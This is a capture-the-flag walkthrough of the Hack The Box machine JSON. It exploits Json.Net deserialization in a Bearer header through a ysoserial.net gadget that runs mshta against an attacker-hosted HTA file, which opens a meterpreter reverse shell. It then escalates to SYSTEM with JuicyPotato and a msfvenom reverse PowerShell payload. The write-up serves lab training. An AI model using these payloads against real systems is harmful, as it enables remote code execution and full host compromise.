JSON.htb

Walkthru for JSON.htb

This is a detailed walk-thru for JSON.htb written by dR1PPy

json.htb

JSON was a very fun machine for attacking vulnerable serialization services. This challenge has a very real world feel and was a great overall experience. Much thanks to Cyb3rb0b for putting this challenge together, also for the clever nameplay based on the popular writeup of the attack.

Enumeration

Our NMAP reveals many of the standard services so we start enumeration on them.

Not much seen from the windows side.

_Received reply to probe NBTStat (target port 137) from_ 10.10.10.158:137: 80f08400000000010000000020434b4141414141414141414141414141414141414141414141414141414141410000210001000000000065034a534f4e2020202020202020202020000400574f524b47524f55502020202020200084004a534f4e2020202020202020202020200400005056b9711e00000000000000000000000000000000000000000000000000000000000000000000000000000000

But our www enumeration reveals the following Javascript file.
http://json.htb/js/app.min.js

It looks to contain data which we work to decode.

HTTP/1.1 200 OK
Content-Type: application/javascript
Last-Modified: Thu, 23 May 2019 18:50:23 GMT
Accept-Ranges: bytes
ETag: "342ed0609811d51:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Thu, 09 Jan 2020 05:12:08 GMT
Connection: close
Content-Length: 2357

ï»¿var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])

We clean it up.

"7072696E636970616C436F6E74726F6C6C6572", "2468747470", "2473636F7065", "24636F6F6B696573", "4F4175746832", "676574", "557365724E616D65", "4E616D65", "64617461", "72656D6F7665", "68726566", "6C6F636174696F6E", "6C6F67696E2E68746D6C", "7468656E", "2F6170692F4163636F756E742F", "636F6E74726F6C6C6572", "6C6F67696E436F6E74726F6C6C6572", "63726564656E7469616C73", "", "6572726F72", "696E6465782E68746D6C", "6C6F67696E", "6D657373616765", "496E76616C69642043726564656E7469616C732E", "73686F77", "6C6F67", "2F6170692F746F6B656E", "706F7374", "6A736F6E", "6E67436F6F6B696573", "6D6F64756C65"

And decode it.

"principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", "data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", "credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", "post", "json", "ngCookies", "module"

Looks like a controller which handles the login process.
From the look of the controller we are supposed to post our auth request in JSON format to the following URL.

http://json.htb/api/token

Speaking of the login process we can clearly see it is broken as are able to see the homescreen for a second before we get redirected to the login page.
Seems to do some delayed validation on our token, maybe this is broken.

And since the name of the box is JSON, could it be that the JSON post is vulnerable?
So let’s just send a garbage post request.

An error has occurred.Object reference not set to an instance of an object.System.NullReferenceException at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24
at lambda_method(Closure , Object , Object[] )
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.<GetExecutor>b__2(Object instance, Object[] methodParameters)
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken)
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ApiControllerActionInvoker.<InvokeActionAsyncCore>d__1.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ActionFilterResult.<ExecuteAsync>d__5.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__15.MoveNext()

Now let's try to post a valid request.

POST /api/token HTTP/1.1
Host: json.htb
Connection: close
Content-Length: 39
Accept: application/json, text/plain, */*
Origin: https://json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"UserName":"admin","Password":"admin"}

We see we are given back an OAuth2 string that is encoded base 64.

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Fri, 10-Jan-2020 07:39:10 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 07:37:10 GMT
Connection: close
Content-Length: 0

After decoding we find the same JSON values we provided along with a few extra values.

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

We see the same cookie is provided a few requests later to access the accounts page.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

So to recap we have found that we provide credentials, and are given those credentials back in an encoded format.
We then use that encoded token to authenticate with other pages.

I smell a deserialization attack here..
So we fuzz the fields we found around the login process.
And we find we are able to generate an error response when we fuzz the Bearer: field

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: dR1PPy
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Which spits out an error message with more info.

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 09:07:30 GMT
Connection: close
Content-Length: 145

{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}

And there we validate our possible exploit vector.
Our OAuth2 JSON token is being deserialized by the application, using the Json.Net deserializer.

After some web searching we find a tool that will help us generate some test payloads.
https://github.com/pwntester/ysoserial.net

Lucky for us we find we don't even need to generate a payload as just modifying one of the examples allows us to test code execution.
We also run it thru a quick JSON formatter to fix some of the syntax from the example and end up with.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c ping -n 5 10.10.14.32"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our payload and send it as our Bearer value.

GET /api/Account/ HTTP/1.1
Host: json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://json.htb/index.html
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIHBpbmcgLW4gNSAxMC4xMC4xNC4zMiIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Despite an error returned from the web server the code is still executed.

sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
15:07:38.344611 IP json.htb > hostname: ICMP echo request, id 1, seq 16, length 40
15:07:38.344631 IP hostname > json.htb: ICMP echo reply, id 1, seq 16, length 40
15:07:39.350560 IP json.htb > hostname: ICMP echo request, id 1, seq 17, length 40
15:07:39.350599 IP hostname > json.htb: ICMP echo reply, id 1, seq 17, length 40
15:07:40.366236 IP json.htb > hostname: ICMP echo request, id 1, seq 18, length 40
15:07:40.366259 IP hostname > json.htb: ICMP echo reply, id 1, seq 18, length 40
15:07:41.384059 IP json.htb > hostname: ICMP echo request, id 1, seq 19, length 40
15:07:41.384093 IP hostname > json.htb: ICMP echo reply, id 1, seq 19, length 40
15:07:42.398531 IP json.htb > hostname: ICMP echo request, id 1, seq 20, length 40
15:07:42.398566 IP hostname > json.htb: ICMP echo reply, id 1, seq 20, length 40

Gaining Shell Access

Lets use our new execution method to get ourselves a quick shell.

use exploit/windows/misc/hta_server

Module options (exploit/windows/misc/hta_server):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.10.14.32 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.32 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

exploit -j -z
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.32:8080
msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://10.10.14.32:80/ppzHaeCjjlJw.hta

Now we use this URL in our attack.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c mshta.exe http://10.10.14.32:80/ppzHaeCjjlJw.hta"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our updated payload and send it.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIG1zaHRhLmV4ZSBodHRwOi8vMTAuMTAuMTQuMzI6ODAvcHB6SGFlQ2pqbEp3Lmh0YSIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

And now we have a wonderful little shell 🙂

<br />[*] Server started.
[*] 10.10.10.158 hta_server - Delivering Payload
[*] Sending stage (180291 bytes) to 10.10.10.158
[*] Meterpreter session 1 opened (10.10.14.32:8080 -> 10.10.10.158:64771) at 2020-01-10 15:44:00 -0700

Gaining Admin Access

During basic enumeration we find the host may be vulnerable to the potato PrivEsc attacks.
We find the "SeImpersonatePrivilege" is enabled for this user.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

So let's try to exploit this using the Potato attack which takes advantage of this setting.

To use the potato attack we need to find a valid CLSID that will allow us to escalate.
We create a quick batch file to get the CLSID's from the target

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}

Copy the output to our local machine for some syntax cleanup.

awk '{print $3}' > CLSID.list

Now we copy our list along with the test batch file to our target.

https://raw.githubusercontent.com/ohpe/juicy-potato/master/Test/test_clsid.bat

Soon we get output on some possible CLSID's to use for escalation
The increase in the 10000 value means previous CLSID is a valid target)

c:\Users\userpool\Downloads>test_clsid.bat
test_clsid.bat
{00021401-0000-0000-C000-000000000046} 10000
{000C101C-0000-0000-C000-000000000046} 10000
{0010890e-8789-413c-adbc-48f5b511b3af} 10000
{00f2b433-44e4-4d88-b2b0-2698a0a91dba} 10000
{010911E2-F61C-479B-B08C-43E6D1299EFE} 10000
{0289a7c5-91bf-4547-81ae-fec91a89dec5} 10000 <<< Valid CLSID
{031EE060-67BC-460d-8847-E4A7C5E45A27} 10001
{0358b920-0ac7-461f-98f4-58e32cd89148} 10001
...........................................
{6CF9B800-50DB-46B5-9218-EACF07F5E414} 10001 <<juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
{6CF9B800-50DB-46B5-9218-EACF07F5E414};NT AUTHORITY\SYSTEM

So we generate our payload

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.32 lport=8800 > 1.bat

Copy it over to the target and start our listener

nc -lvp 8800

Execute our escalation exploit

juicypotato -t * -l 32007 -p C:\Users\userpool\Downloads\1.bat -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}

And get our Root Shell

listening on [any] 8800 ...
connect to [10.10.14.32] from json.htb [10.10.10.158] 50440
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Now sit back and twist your mustache and adjust your monocle cause you just owned JSON like a Sir!